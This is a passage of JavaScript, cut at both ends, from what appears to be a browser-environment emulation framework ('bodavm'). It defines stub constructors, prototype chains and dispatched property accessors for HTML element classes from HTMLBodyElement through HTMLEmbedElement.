background (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_get", arguments)}, set:function background (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onafterprint", {configurable:true, enumerable:true, get:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_get", arguments)}, set:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeprint", {configurable:true, enumerable:true, get:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_get", arguments)}, set:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeunload", {configurable:true, enumerable:true, get:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_get", arguments)}, set:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onhashchange", {configurable:true, enumerable:true, get:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_get", arguments)}, set:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onlanguagechange", {configurable:true, enumerable:true, get:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_get", arguments)}, set:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onoffline", {configurable:true, enumerable:true, get:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_get", arguments)}, set:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "ononline", {configurable:true, enumerable:true, get:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_get", arguments)}, set:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpagehide", {configurable:true, enumerable:true, get:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_get", arguments)}, set:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpageshow", {configurable:true, enumerable:true, get:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_get", arguments)}, set:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpopstate", {configurable:true, enumerable:true, get:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_get", arguments)}, set:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onrejectionhandled", {configurable:true, enumerable:true, get:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_get", arguments)}, set:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onstorage", {configurable:true, enumerable:true, get:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_get", arguments)}, set:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunhandledrejection", {configurable:true, enumerable:true, get:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_get", arguments)}, set:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunload", {configurable:true, enumerable:true, get:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_get", arguments)}, set:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_set", arguments)}},'prototype'); - -// HTMLBRElement对象 -bodavm.memory.globalobj['HTMLBRElement'] = function HTMLBRElement(){if (!(this instanceof HTMLBRElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBRElement'], "HTMLBRElement"); -bodavm.memory.globalobj['HTMLBRElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLBRElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLBRElement', "clear", {configurable:true, enumerable:true, get:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_get", arguments)}, set:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBRElement'].prototype, "HTMLBRElement", "clear_set", arguments)}},'prototype'); - -// HTMLButtonElement对象 -bodavm.memory.globalobj['HTMLButtonElement'] = function HTMLButtonElement(){if (!(this instanceof HTMLButtonElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLButtonElement'], "HTMLButtonElement"); -bodavm.memory.globalobj['HTMLButtonElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLButtonElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formAction", {configurable:true, enumerable:true, get:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_get", arguments)}, set:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formEnctype", {configurable:true, enumerable:true, get:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_get", arguments)}, set:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formMethod", {configurable:true, enumerable:true, get:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_get", arguments)}, set:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formNoValidate", {configurable:true, enumerable:true, get:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_get", arguments)}, set:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formTarget", {configurable:true, enumerable:true, get:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_get", arguments)}, set:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "setCustomValidity", arguments)}},'prototype'); - -// HTMLCanvasElement对象 -bodavm.memory.globalobj['HTMLCanvasElement'] = function HTMLCanvasElement(){if (!(this instanceof HTMLCanvasElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCanvasElement'], "HTMLCanvasElement"); -bodavm.memory.globalobj['HTMLCanvasElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLCanvasElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "captureStream", {configurable:true, enumerable:true, writable:true, value:function captureStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "captureStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "getContext", {configurable:true, enumerable:true, writable:true, value:function getContext (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "getContext", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toBlob", {configurable:true, enumerable:true, writable:true, value:function toBlob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toBlob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toDataURL", {configurable:true, enumerable:true, writable:true, value:function toDataURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toDataURL", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "transferControlToOffscreen", {configurable:true, enumerable:true, writable:true, value:function transferControlToOffscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "transferControlToOffscreen", arguments)}},'prototype'); - -// HTMLDataElement对象 -bodavm.memory.globalobj['HTMLDataElement'] = function HTMLDataElement(){if (!(this instanceof HTMLDataElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataElement'], "HTMLDataElement"); -bodavm.memory.globalobj['HTMLDataElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDataElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDataElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_set", arguments)}},'prototype'); - -// HTMLDataListElement对象 -bodavm.memory.globalobj['HTMLDataListElement'] = function HTMLDataListElement(){if (!(this instanceof HTMLDataListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataListElement'], "HTMLDataListElement"); -bodavm.memory.globalobj['HTMLDataListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDataListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDataListElement', "options", {configurable:true, enumerable:true, get:function options (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataListElement'].prototype, "HTMLDataListElement", "options_get", arguments)}, set:undefined},'prototype'); - -// HTMLDetailsElement对象 -bodavm.memory.globalobj['HTMLDetailsElement'] = function HTMLDetailsElement(){if (!(this instanceof HTMLDetailsElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDetailsElement'], "HTMLDetailsElement"); -bodavm.memory.globalobj['HTMLDetailsElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDetailsElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDetailsElement', "open", {configurable:true, enumerable:true, get:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_get", arguments)}, set:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_set", arguments)}},'prototype'); - -// HTMLDialogElement对象 -bodavm.memory.globalobj['HTMLDialogElement'] = function HTMLDialogElement(){if (!(this instanceof HTMLDialogElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDialogElement'], "HTMLDialogElement"); -bodavm.memory.globalobj['HTMLDialogElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDialogElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "open", {configurable:true, enumerable:true, get:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_get", arguments)}, set:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "returnValue", {configurable:true, enumerable:true, get:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_get", arguments)}, set:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "show", {configurable:true, enumerable:true, writable:true, value:function show (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "show", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "showModal", {configurable:true, enumerable:true, writable:true, value:function showModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "showModal", arguments)}},'prototype'); - -// HTMLDirectoryElement对象 -bodavm.memory.globalobj['HTMLDirectoryElement'] = function HTMLDirectoryElement(){if (!(this instanceof HTMLDirectoryElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDirectoryElement'], "HTMLDirectoryElement"); -bodavm.memory.globalobj['HTMLDirectoryElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDirectoryElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDirectoryElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_set", arguments)}},'prototype'); - -// HTMLDivElement对象 -bodavm.memory.globalobj['HTMLDivElement'] = function HTMLDivElement(){if (!(this instanceof HTMLDivElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDivElement'], "HTMLDivElement"); -bodavm.memory.globalobj['HTMLDivElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDivElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDivElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_set", arguments)}},'prototype'); - -// HTMLDListElement对象 -bodavm.memory.globalobj['HTMLDListElement'] = function HTMLDListElement(){if (!(this instanceof HTMLDListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDListElement'], "HTMLDListElement"); -bodavm.memory.globalobj['HTMLDListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDListElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_set", arguments)}},'prototype'); - -// HTMLEmbedElement对象 -bodavm.memory.globalobj['HTMLEmbedElement'] = function HTMLEmbedElement(){if (!(this instanceof HTMLEmbedElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLEmbedElement'], "HTMLEmbedElement"); -bodavm.memory.globalobj['HTMLEmbedElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLEmbedElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLEmbedElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLEmbedElement'].prototype, "HTMLEmbedElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, 